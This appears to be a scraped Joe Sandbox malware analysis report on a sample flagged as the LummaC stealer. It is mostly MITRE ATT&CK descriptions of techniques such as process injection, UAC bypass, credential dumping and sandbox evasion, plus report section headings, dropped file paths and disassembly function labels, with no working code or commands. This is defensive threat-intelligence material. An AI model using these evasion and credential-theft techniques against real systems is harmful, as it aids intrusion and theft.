Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.log

C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00EBA7ED Relevance: 1.6, APIs: 1, Instructions: 142
libraryCOMMON

Function 00D3B7DE Relevance: 1.3, Strings: 1, Instructions: 18
COMMON

Function 00EC8843 Relevance: 4.6, APIs: 3, Instructions: 96
registryCOMMON

Function 051E0D42 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 051E0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 051E1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 051E1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 051E1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Function 051E1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00EBEEAF Relevance: 1.5, APIs: 1, Instructions: 35
fileCOMMON

Function 00EBEFB3 Relevance: 1.5, APIs: 1, Instructions: 17
fileCOMMON

Function 00EBED33 Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Function 00D3E8EC Relevance: 1.3, APIs: 1, Instructions: 22
memoryCOMMON

Function 00D3E5BC Relevance: 1.3, APIs: 1, Instructions: 18
memoryCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre